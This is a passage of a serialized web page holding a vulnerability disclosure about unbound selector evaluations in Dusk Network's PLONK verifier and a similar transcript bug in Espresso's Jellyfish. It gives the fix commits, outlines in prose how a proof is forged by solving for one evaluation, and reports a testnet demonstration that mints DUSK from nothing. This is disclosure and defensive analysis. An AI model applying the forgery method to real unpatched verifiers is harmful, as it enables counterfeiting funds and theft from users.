(witness)",{"type":23,"tag":421,"props":145571,"children":145572},{},[145573,145579,145580,145586,145587,145593],{"type":23,"tag":37,"props":145574,"children":145576},{"className":145575},[],[145577],{"type":28,"value":145578},"s_sigma_1_eval",{"type":28,"value":970},{"type":23,"tag":37,"props":145581,"children":145583},{"className":145582},[],[145584],{"type":28,"value":145585},"s_sigma_2_eval",{"type":28,"value":970},{"type":23,"tag":37,"props":145588,"children":145590},{"className":145589},[],[145591],{"type":28,"value":145592},"s_sigma_3_eval",{"type":28,"value":145594}," (permutation)",{"type":23,"tag":421,"props":145596,"children":145597},{},[145598,145604,145605,145611,145612,145618],{"type":23,"tag":37,"props":145599,"children":145601},{"className":145600},[],[145602],{"type":28,"value":145603},"a_w_eval",{"type":28,"value":970},{"type":23,"tag":37,"props":145606,"children":145608},{"className":145607},[],[145609],{"type":28,"value":145610},"b_w_eval",{"type":28,"value":970},{"type":23,"tag":37,"props":145613,"children":145615},{"className":145614},[],[145616],{"type":28,"value":145617},"d_w_eval",{"type":28,"value":145619}," (shifted witness)",{"type":23,"tag":421,"props":145621,"children":145622},{},[145623,145629],{"type":23,"tag":37,"props":145624,"children":145626},{"className":145625},[],[145627],{"type":28,"value":145628},"z_eval",{"type":28,"value":145630}," (permutation accumulator)",{"type":23,"tag":24,"props":145632,"children":145633},{},[145634,145636,145640],{"type":28,"value":145635},"But the following selector evaluations were ",{"type":23,"tag":2913,"props":145637,"children":145638},{},[145639],{"type":28,"value":18477},{"type":28,"value":145641}," included:",{"type":23,"tag":417,"props":145643,"children":145644},{},[145645,145656,145667,145678],{"type":23,"tag":421,"props":145646,"children":145647},{},[145648,145654],{"type":23,"tag":37,"props":145649,"children":145651},{"className":145650},[],[145652],{"type":28,"value":145653},"q_arith_eval",{"type":28,"value":145655}," (arithmetic selector)",{"type":23,"tag":421,"props":145657,"children":145658},{},[145659,145665],{"type":23,"tag":37,"props":145660,"children":145662},{"className":145661},[],[145663],{"type":28,"value":145664},"q_c_eval",{"type":28,"value":145666}," (constant selector)",{"type":23,"tag":421,"props":145668,"children":145669},{},[145670,145676],{"type":23,"tag":37,"props":145671,"children":145673},{"className":145672},[],[145674],{"type":28,"value":145675},"q_l_eval",{"type":28,"value":145677}," (left selector)",{"type":23,"tag":421,"props":145679,"children":145680},{},[145681,145687],{"type":23,"tag":37,"props":145682,"children":145684},{"className":145683},[],[145685],{"type":28,"value":145686},"q_r_eval",{"type":28,"value":145688}," (right selector)",{"type":23,"tag":24,"props":145690,"children":145691},{},[145692,145694,145701,145702,145709,145710,145717,145718,145725],{"type":28,"value":145693},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":23,"tag":458,"props":145695,"children":145698},{"href":145696,"rel":145697},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[462],[145699],{"type":28,"value":145700},"proof struct",{"type":28,"value":970},{"type":23,"tag":458,"props":145703,"children":145706},{"href":145704,"rel":145705},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[462],[145707],{"type":28,"value":145708},"transcript absorption",{"type":28,"value":970},{"type":23,"tag":458,"props":145711,"children":145714},{"href":145712,"rel":145713},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[462],[145715],{"type":28,"value":145716},"arithmetic widget",{"type":28,"value":970},{"type":23,"tag":458,"props":145719,"children":145722},{"href":145720,"rel":145721},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[462],[145723],{"type":28,"value":145724},"fixed-base ECC widget",{"type":28,"value":145726},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":23,"tag":24,"props":145728,"children":145729},{},[145730,145732,145736],{"type":28,"value":145731},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":23,"tag":2913,"props":145733,"children":145734},{},[145735],{"type":28,"value":18477},{"type":28,"value":145737}," bugs:",{"type":23,"tag":417,"props":145739,"children":145740},{},[145741,145881],{"type":23,"tag":421,"props":145742,"children":145743},{},[145744,145746,145791,145793,145799,145801,145806,145807,145812,145813,145818,145820,145826,145828,145873,145875,145880],{"type":28,"value":145745},"There is no prover-supplied ",{"type":23,"tag":37,"props":145747,"children":145749},{"className":145748},[3984,3985],[145750],{"type":23,"tag":41,"props":145751,"children":145753},{"className":145752},[3990],[145754],{"type":23,"tag":41,"props":145755,"children":145757},{"className":145756,"ariaHidden":3996},[3995],[145758],{"type":23,"tag":41,"props":145759,"children":145761},{"className":145760},[4001],[145762,145766,145771,145776,145781,145786],{"type":23,"tag":41,"props":145763,"children":145765},{"className":145764,"style":4113},[4006],[],{"type":23,"tag":41,"props":145767,"children":145769},{"className":145768},[4012,21574],[145770],{"type":28,"value":3146},{"type":23,"tag":41,"props":145772,"children":145774},{"className":145773},[21703],[145775],{"type":28,"value":1737},{"type":23,"tag":41,"props":145777,"children":145779},{"className":145778,"style":113322},[4012,21574],[145780],{"type":28,"value":113325},{"type":23,"tag":41,"props":145782,"children":145784},{"className":145783,"style":93251},[4012,21574],[145785],{"type":28,"value":144455},{"type":23,"tag":41,"props":145787,"children":145789},{"className":145788},[21725],[145790],{"type":28,"value":2678},{"type":28,"value":145792}," field at all. ",{"type":23,"tag":37,"props":145794,"children":145796},{"className":145795},[],[145797],{"type":28,"value":145798},"ProofEvaluations",{"type":28,"value":145800}," contains ",{"type":23,"tag":37,"props":145802,"children":145804},{"className":145803},[],[145805],{"type":28,"value":145603},{"type":28,"value":970},{"type":23,"tag":37,"props":145808,"children":145810},{"className":145809},[],[145811],{"type":28,"value":145610},{"type":28,"value":6486},{"type":23,"tag":37,"props":145814,"children":145816},{"className":145815},[],[145817],{"type":28,"value":145617},{"type":28,"value":145819},", but no ",{"type":23,"tag":37,"props":145821,"children":145823},{"className":145822},[],[145824],{"type":28,"value":145825},"c_w_eval",{"type":28,"value":145827},", so the verifier never consumes an unbound ",{"type":23,"tag":37,"props":145829,"children":145831},{"className":145830},[3984,3985],[145832],{"type":23,"tag":41,"props":145833,"children":145835},{"className":145834},[3990],[145836],{"type":23,"tag":41,"props":145837,"children":145839},{"className":145838,"ariaHidden":3996},[3995],[145840],{"type":23,"tag":41,"props":145841,"children":145843},{"className":145842},[4001],[145844,145848,145853,145858,145863,145868],{"type":23,"tag":41,"props":145845,"children":145847},{"className":145846,"style":4113},[4006],[],{"type":23,"tag":41,"props":145849,"children":145851},{"className":145850},[4012,21574],[145852],{"type":28,"value":3146},{"type":23,"tag":41,"props":145854,"children":145856},{"className":145855},[21703],[145857],{"type":28,"value":1737},{"type":23,"tag":41,"props":145859,"children":145861},{"className":145860,"style":113322},[4012,21574],[145862],{"type":28,"value":113325},{"type":23,"tag":41,"props":145864,"children":145866},{"className":145865,"style":93251},[4012,21574],[145867],{"type":28,"value":144455},{"type":23,"tag":41,"props":145869,"children":145871},{"className":145870},[21725],[145872],{"type":28,"value":2678},{"type":28,"value":145874}," claim (",{"type":23,"tag":458,"props":145876,"children":145878},{"href":145696,"rel":145877},[462],[145879],{"type":28,"value":145700},{"type":28,"value":20729},{"type":23,"tag":421,"props":145882,"children":145883},{},[145884,145886,145973,145975,146067,146068,146075],{"type":28,"value":145885},"There is a fourth permutation commitment ",{"type":23,"tag":37,"props":145887,"children":145889},{"className":145888},[3984,3985],[145890],{"type":23,"tag":41,"props":145891,"children":145893},{"className":145892},[3990],[145894],{"type":23,"tag":41,"props":145895,"children":145897},{"className":145896,"ariaHidden":3996},[3995],[145898],{"type":23,"tag":41,"props":145899,"children":145901},{"className":145900},[4001],[145902,145906,145911,145968],{"type":23,"tag":41,"props":145903,"children":145905},{"className":145904,"style":4113},[4006],[],{"type":23,"tag":41,"props":145907,"children":145909},{"className":145908},[21703],[145910],{"type":28,"value":312},{"type":23,"tag":41,"props":145912,"children":145914},{"className":145913},[4012],[145915,145920],{"type":23,"tag":41,"props":145916,"children":145918},{"className":145917,"style":93251},[4012,21574],[145919],{"type":28,"value":144350},{"type":23,"tag":41,"props":145921,"children":145923},{"className":145922},[4028],[145924],{"type":23,"tag":41,"props":145925,"children":145927},{"className":145926},[4033,21628],[145928,145957],{"type":23,"tag":41,"props":145929,"children":145931},{"className":145930},[4038],[145932,145952],{"type":23,"tag":41,"props":145933,"children":145935},{"className":145934,"style":92817},[4043],[145936],{"type":23,"tag":41,"props":145937,"children":145938},{"style":93298},[145939,145943],{"type":23,"tag":41,"props":145940,"children":145942},{"className":145941,"style":4053},[4052],[],{"type":23,"tag":41,"props":145944,"children":145946},{"className":145945},[4058,4059,4060,4061],[145947],{"type":23,"tag":41,"props":145948,"children":145950},{"className":145949},[4012,4061],[145951],{"type":28,"value":17515},{"type":23,"tag":41,"props":145953,"children":145955},{"className":145954},[21731],[145956],{"type":28,"value":21734},{"type":23,"tag":41,"props":145958,"children":145960},{"className":145959},[4038],[145961],{"type":23,"tag":41,"props":145962,"children":145964},{"className":145963,"style":92848},[4043],[145965],{"type":23,"tag":41,"props":145966,"children":145967},{},[],{"type":23,"tag":41,"props":145969,"children":145971},{"className":145970},[21725],[145972],{"type":28,"value":15402},{"type":28,"value":145974}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":23,"tag":37,"props":145976,"children":145978},{"className":145977},[3984,3985],[145979],{"type":23,"tag":41,"props":145980,"children":145982},{"className":145981},[3990],[145983],{"type":23,"tag":41,"props":145984,"children":145986},{"className":145985,"ariaHidden":3996},[3995],[145987],{"type":23,"tag":41,"props":145988,"children":145990},{"className":145989},[4001],[145991,145995,146052,146057,146062],{"type":23,"tag":41,"props":145992,"children":145994},{"className":145993,"style":4113},[4006],[],{"type":23,"tag":41,"props":145996,"children":145998},{"className":145997},[4012],[145999,146004],{"type":23,"tag":41,"props":146000,"children":146002},{"className":146001,"style":93251},[4012,21574],[146003],{"type":28,"value":144350},{"type":23,"tag":41,"props":146005,"children":146007},{"className":146006},[4028],[146008],{"type":23,"tag":41,"props":146009,"children":146011},{"className":146010},[4033,21628],[146012,146041],{"type":23,"tag":41,"props":146013,"children":146015},{"className":146014},[4038],[146016,146036],{"type":23,"tag":41,"props":146017,"children":146019},{"className":146018,"style":92817},[4043],[146020],{"type":23,"tag":41,"props":146021,"children":146022},{"style":93298},[146023,146027],{"type":23,"tag":41,"props":146024,"children":146026},{"className":146025,"style":4053},[4052],[],{"type":23,"tag":41,"props":146028,"children":146030},{"className":146029},[4058,4059,4060,4061],[146031],{"type":23,"tag":41,"props":146032,"children":146034},{"className":146033},[4012,4061],[146035],{"type":28,"value":17515},{"type":23,"tag":41,"props":146037,"children":146039},{"className":146038},[21731],[146040],{"type":28,"value":21734},{"type":23,"tag":41,"props":146042,"children":146044},{"className":146043},[4038],[146045],{"type":23,"tag":41,"props":146046,"children":146048},{"className":146047,"style":92848},[4043],[146049],{"type":23,"tag":41,"props":146050,"children":146051},{},[],{"type":23,"tag":41,"props":146053,"children":146055},{"className":146054},[21703],[146056],{"type":28,"value":1737},{"type":23,"tag":41,"props":146058,"children":146060},{"className":146059,"style":113322},[4012,21574],[146061],{"type":28,"value":113325},{"type":23,"tag":41,"props":146063,"children":146065},{"className":146064},[21725],[146066],{"type":28,"value":2678},{"type":28,"value":142},{"type":23,"tag":458,"props":146069,"children":146072},{"href":146070,"rel":146071},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[462],[146073],{"type":28,"value":146074},"permutation verifier key",{"type":28,"value":20729},{"type":23,"tag":24,"props":146077,"children":146078},{},[146079,146081,146091],{"type":28,"value":146080},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":23,"tag":458,"props":146082,"children":146085},{"href":146083,"rel":146084},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[462],[146086],{"type":23,"tag":37,"props":146087,"children":146089},{"className":146088},[],[146090],{"type":28,"value":145532},{"type":28,"value":146092},", which leaves the master equation underconstrained.",{"type":23,"tag":24,"props":146094,"children":146095},{},[146096],{"type":23,"tag":3918,"props":146097,"children":146100},{"alt":146098,"src":146099},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":23,"tag":442,"props":146102,"children":146103},{},[],{"type":23,"tag":446,"props":146105,"children":146107},{"id":146106},"the-exploitation",[146108],{"type":28,"value":146109},"The exploitation",{"type":23,"tag":24,"props":146111,"children":146112},{},[146113],{"type":28,"value":146114},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":23,"tag":24,"props":146116,"children":146117},{},[146118,146120,146126,146128,146133,146135,146140,146142,146148],{"type":28,"value":146119},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":23,"tag":37,"props":146121,"children":146123},{"className":146122},[],[146124],{"type":28,"value":146125},"z_challenge",{"type":28,"value":146127},", it computes what the linearization polynomial ",{"type":23,"tag":2913,"props":146129,"children":146130},{},[146131],{"type":28,"value":146132},"should",{"type":28,"value":146134}," evaluate to for the pairing check to pass, then solves for ",{"type":23,"tag":37,"props":146136,"children":146138},{"className":146137},[],[146139],{"type":28,"value":145653},{"type":28,"value":146141},", the single free variable that makes the verification equation balance (setting ",{"type":23,"tag":37,"props":146143,"children":146145},{"className":146144},[],[146146],{"type":28,"value":146147},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":28,"value":20729},{"type":23,"tag":24,"props":146150,"children":146151},{},[146152],{"type":23,"tag":3918,"props":146153,"children":146156},{"alt":146154,"src":146155},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":23,"tag":24,"props":146158,"children":146159},{},[146160,146162,146202,146204,146229,146231,146236],{"type":28,"value":146161},"To achieve this one may compute the linearization polynomial ",{"type":23,"tag":37,"props":146163,"children":146165},{"className":146164},[3984,3985],[146166],{"type":23,"tag":41,"props":146167,"children":146169},{"className":146168},[3990],[146170],{"type":23,"tag":41,"props":146171,"children":146173},{"className":146172,"ariaHidden":3996},[3995],[146174],{"type":23,"tag":41,"props":146175,"children":146177},{"className":146176},[4001],[146178,146182,146187,146192,146197],{"type":23,"tag":41,"props":146179,"children":146181},{"className":146180,"style":4113},[4006],[],{"type":23,"tag":41,"props":146183,"children":146185},{"className":146184,"style":92765},[4012,21574],[146186],{"type":28,"value":93584},{"type":23,"tag":41,"props":146188,"children":146190},{"className":146189},[21703],[146191],{"type":28,"value":1737},{"type":23,"tag":41,"props":146193,"children":146195},{"className":146194},[4012,21574],[146196],{"type":28,"value":19263},{"type":23,"tag":41,"props":146198,"children":146200},{"className":146199},[21725],[146201],{"type":28,"value":2678},{"type":28,"value":146203}," with all selectors set to zero, evaluating it at ",{"type":23,"tag":37,"props":146205,"children":146207},{"className":146206},[3984,3985],[146208],{"type":23,"tag":41,"props":146209,"children":146211},{"className":146210},[3990],[146212],{"type":23,"tag":41,"props":146213,"children":146215},{"className":146214,"ariaHidden":3996},[3995],[146216],{"type":23,"tag":41,"props":146217,"children":146219},{"className":146218},[4001],[146220,146224],{"type":23,"tag":41,"props":146221,"children":146223},{"className":146222,"style":110606},[4006],[],{"type":23,"tag":41,"props":146225,"children":146227},{"className":146226,"style":113322},[4012,21574],[146228],{"type":28,"value":113325},{"type":28,"value":146230},", and comparing to the target value; the difference divided by the coefficient of ",{"type":23,"tag":37,"props":146232,"children":146234},{"className":146233},[],[146235],{"type":28,"value":145653},{"type":28,"value":146237}," gives the required value in a single field division.",{"type":23,"tag":442,"props":146239,"children":146240},{},[],{"type":23,"tag":446,"props":146242,"children":146244},{"id":146243},"impact-on-dusk-network",[146245],{"type":28,"value":146246},"Impact on Dusk Network",{"type":23,"tag":24,"props":146248,"children":146249},{},[146250,146252,146259],{"type":28,"value":146251},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":23,"tag":458,"props":146253,"children":146256},{"href":146254,"rel":146255},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[462],[146257],{"type":28,"value":146258},"preverify path",{"type":28,"value":146260},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":23,"tag":5436,"props":146262,"children":146263},{},[146264,146269,146274],{"type":23,"tag":421,"props":146265,"children":146266},{},[146267],{"type":28,"value":146268},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":23,"tag":421,"props":146270,"children":146271},{},[146272],{"type":28,"value":146273},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":23,"tag":421,"props":146275,"children":146276},{},[146277],{"type":28,"value":146278},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":23,"tag":24,"props":146280,"children":146281},{},[146282],{"type":28,"value":146283},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":23,"tag":5436,"props":146285,"children":146286},{},[146287,146292,146302,146314,146319],{"type":23,"tag":421,"props":146288,"children":146289},{},[146290],{"type":28,"value":146291},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":23,"tag":421,"props":146293,"children":146294},{},[146295,146297],{"type":28,"value":146296},"The malicious wallet forges a PLONK proof to create ",{"type":23,"tag":510,"props":146298,"children":146299},{},[146300],{"type":28,"value":146301},"2000 DUSK from nothing",{"type":23,"tag":421,"props":146303,"children":146304},{},[146305,146307,146312],{"type":28,"value":146306},"The malicious wallet transfers ",{"type":23,"tag":510,"props":146308,"children":146309},{},[146310],{"type":28,"value":146311},"1337 DUSK",{"type":28,"value":146313}," to the honest wallet using a normal (honestly-proved) transaction",{"type":23,"tag":421,"props":146315,"children":146316},{},[146317],{"type":28,"value":146318},"The honest node validates both transactions and mines them into blocks",{"type":23,"tag":421,"props":146320,"children":146321},{},[146322],{"type":28,"value":146323},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":23,"tag":24,"props":146325,"children":146326},{},[146327],{"type":23,"tag":3918,"props":146328,"children":146331},{"alt":146329,"src":146330},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":23,"tag":24,"props":146333,"children":146334},{},[146335,146337,146343,146345,146352],{"type":28,"value":146336},"At the time of discovery, DUSK's market cap was roughly ",{"type":23,"tag":458,"props":146338,"children":146340},{"href":141638,"rel":146339},[462],[146341],{"type":28,"value":146342},"~60M",{"type":28,"value":146344},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":23,"tag":458,"props":146346,"children":146349},{"href":146347,"rel":146348},"https://neptune.cash/articles/critical-vulnerability-disclosure",[462],[146350],{"type":28,"value":146351},"Triton VM vulnerability",{"type":28,"value":706},{"type":23,"tag":442,"props":146354,"children":146355},{},[],{"type":23,"tag":446,"props":146357,"children":146359},{"id":146358},"the-fix",[146360],{"type":28,"value":146361},"The fix",{"type":23,"tag":24,"props":146363,"children":146364},{},[146365],{"type":28,"value":146366},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":23,"tag":417,"props":146368,"children":146369},{},[146370,146415],{"type":23,"tag":421,"props":146371,"children":146372},{},[146373,146375,146386,146388,146394,146395,146401,146402,146408,146409],{"type":28,"value":146374},"Extend ",{"type":23,"tag":458,"props":146376,"children":146379},{"href":146377,"rel":146378},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[462],[146380],{"type":23,"tag":37,"props":146381,"children":146383},{"className":146382},[],[146384],{"type":28,"value":146385},"compute_aggregate_witness",{"type":28,"value":146387}," on the prover side to also include ",{"type":23,"tag":37,"props":146389,"children":146391},{"className":146390},[],[146392],{"type":28,"value":146393},"q_arith",{"type":28,"value":970},{"type":23,"tag":37,"props":146396,"children":146398},{"className":146397},[],[146399],{"type":28,"value":146400},"q_c",{"type":28,"value":970},{"type":23,"tag":37,"props":146403,"children":146405},{"className":146404},[],[146406],{"type":28,"value":146407},"q_l",{"type":28,"value":6486},{"type":23,"tag":37,"props":146410,"children":146412},{"className":146411},[],[146413],{"type":28,"value":146414},"q_r",{"type":23,"tag":421,"props":146416,"children":146417},{},[146418,146420,146430],{"type":28,"value":146419},"Add their evaluations to ",{"type":23,"tag":458,"props":146421,"children":146424},{"href":146422,"rel":146423},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[462],[146425],{"type":23,"tag":37,"props":146426,"children":146428},{"className":146427},[],[146429],{"type":28,"value":145532},{"type":28,"value":146431}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":23,"tag":24,"props":146433,"children":146434},{},[146435,146437,146444],{"type":28,"value":146436},"This was done in ",{"type":23,"tag":458,"props":146438,"children":146441},{"href":146439,"rel":146440},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[462],[146442],{"type":28,"value":146443},"commit 645265b7",{"type":28,"value":146445},", which landed on February 14, 2026.",{"type":23,"tag":442,"props":146447,"children":146448},{},[],{"type":23,"tag":446,"props":146450,"children":146452},{"id":146451},"why-was-this-missed",[146453],{"type":28,"value":146454},"Why was this missed?",{"type":23,"tag":24,"props":146456,"children":146457},{},[146458,146460,146467,146468,146475,146477,146484,146486,146493],{"type":28,"value":146459},"Dusk's stack had been heavily audited: a ",{"type":23,"tag":458,"props":146461,"children":146464},{"href":146462,"rel":146463},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[462],[146465],{"type":28,"value":146466},"December 2023 audit of dusk-plonk",{"type":28,"value":124108},{"type":23,"tag":458,"props":146469,"children":146472},{"href":146470,"rel":146471},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[462],[146473],{"type":28,"value":146474},"September 2024 audit of Phoenix",{"type":28,"value":146476},", and a ",{"type":23,"tag":458,"props":146478,"children":146481},{"href":146479,"rel":146480},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[462],[146482],{"type":28,"value":146483},"September 2024 Oak Security audit of the Rusk node library",{"type":28,"value":146485},". Dusk's public ",{"type":23,"tag":458,"props":146487,"children":146490},{"href":146488,"rel":146489},"https://dusk.network/news/audits-overview",[462],[146491],{"type":28,"value":146492},"audits overview",{"type":28,"value":146494}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":23,"tag":24,"props":146496,"children":146497},{},[146498,146500,146505],{"type":28,"value":146499},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":23,"tag":2913,"props":146501,"children":146502},{},[146503],{"type":28,"value":146504},"evaluations",{"type":28,"value":706},{"type":23,"tag":24,"props":146507,"children":146508},{},[146509],{"type":28,"value":146510},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":23,"tag":24,"props":146512,"children":146513},{},[146514],{"type":28,"value":146515},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":23,"tag":446,"props":146517,"children":146519},{"id":146518},"a-similar-bug-in-espresso-systems-jellyfish",[146520],{"type":28,"value":146521},"A similar bug in Espresso Systems' Jellyfish",{"type":23,"tag":24,"props":146523,"children":146524},{},[146525,146527,146534],{"type":28,"value":146526},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":23,"tag":458,"props":146528,"children":146531},{"href":146529,"rel":146530},"https://github.com/EspressoSystems/jellyfish/",[462],[146532],{"type":28,"value":146533},"jf-plonk",{"type":28,"value":146535}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":23,"tag":24,"props":146537,"children":146538},{},[146539,146541,146548,146550,146561,146563,146588,146590,146615],{"type":28,"value":146540},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":23,"tag":458,"props":146542,"children":146545},{"href":146543,"rel":146544},"https://eprint.iacr.org/2020/315",[462],[146546],{"type":28,"value":146547},"Plookup",{"type":28,"value":146549}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":23,"tag":458,"props":146551,"children":146554},{"href":146552,"rel":146553},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[462],[146555],{"type":23,"tag":37,"props":146556,"children":146558},{"className":146557},[],[146559],{"type":28,"value":146560},"append_plookup_evaluations",{"type":28,"value":146562}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":23,"tag":37,"props":146564,"children":146566},{"className":146565},[3984,3985],[146567],{"type":23,"tag":41,"props":146568,"children":146570},{"className":146569},[3990],[146571],{"type":23,"tag":41,"props":146572,"children":146574},{"className":146573,"ariaHidden":3996},[3995],[146575],{"type":23,"tag":41,"props":146576,"children":146578},{"className":146577},[4001],[146579,146583],{"type":23,"tag":41,"props":146580,"children":146582},{"className":146581,"style":110606},[4006],[],{"type":23,"tag":41,"props":146584,"children":146586},{"className":146585,"style":93251},[4012,21574],[146587],{"type":28,"value":113669},{"type":28,"value":146589}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":23,"tag":37,"props":146591,"children":146593},{"className":146592},[3984,3985],[146594],{"type":23,"tag":41,"props":146595,"children":146597},{"className":146596},[3990],[146598],{"type":23,"tag":41,"props":146599,"children":146601},{"className":146600,"ariaHidden":3996},[3995],[146602],{"type":23,"tag":41,"props":146603,"children":146605},{"className":146604},[4001],[146606,146610],{"type":23,"tag":41,"props":146607,"children":146609},{"className":146608,"style":110606},[4006],[],{"type":23,"tag":41,"props":146611,"children":146613},{"className":146612,"style":93251},[4012,21574],[146614],{"type":28,"value":113669},{"type":28,"value":146616},", so the prover can adjust them after the fact to make the check pass.",{"type":23,"tag":24,"props":146618,"children":146619},{},[146620,146622,146628,146630,146636],{"type":28,"value":146621},"The attack requires modifying a single evaluation (",{"type":23,"tag":37,"props":146623,"children":146625},{"className":146624},[],[146626],{"type":28,"value":146627},"key_table_next_eval",{"type":28,"value":146629},") by ",{"type":23,"tag":37,"props":146631,"children":146633},{"className":146632},[],[146634],{"type":28,"value":146635},"delta / (u * v^3)",{"type":28,"value":146637}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":23,"tag":24,"props":146639,"children":146640},{},[146641,146643,146650,146652,146663],{"type":28,"value":146642},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":23,"tag":458,"props":146644,"children":146647},{"href":146645,"rel":146646},"https://github.com/EspressoSystems/jellyfish/pull/867",[462],[146648],{"type":28,"value":146649},"PR #867",{"type":28,"value":146651}," fixed the issue and was tagged as ",{"type":23,"tag":458,"props":146653,"children":146656},{"href":146654,"rel":146655},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[462],[146657],{"type":23,"tag":37,"props":146658,"children":146660},{"className":146659},[],[146661],{"type":28,"value":146662},"jf-plonk-v0.8.0",{"type":28,"value":146664}," on March 18, 2026.",{"type":23,"tag":442,"props":146666,"children":146667},{},[],{"type":23,"tag":446,"props":146669,"children":146671},{"id":146670},"toward-standardization",[146672],{"type":28,"value":146673},"Toward standardization",{"type":23,"tag":24,"props":146675,"children":146676},{},[146677,146679,146686],{"type":28,"value":146678},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":23,"tag":458,"props":146680,"children":146683},{"href":146681,"rel":146682},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[462],[146684],{"type":28,"value":146685},"similar patterns appear across zkVMs",{"type":28,"value":146687},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":23,"tag":24,"props":146689,"children":146690},{},[146691],{"type":28,"value":146692},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":23,"tag":24,"props":146694,"children":146695},{},[146696],{"type":28,"value":146697},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a 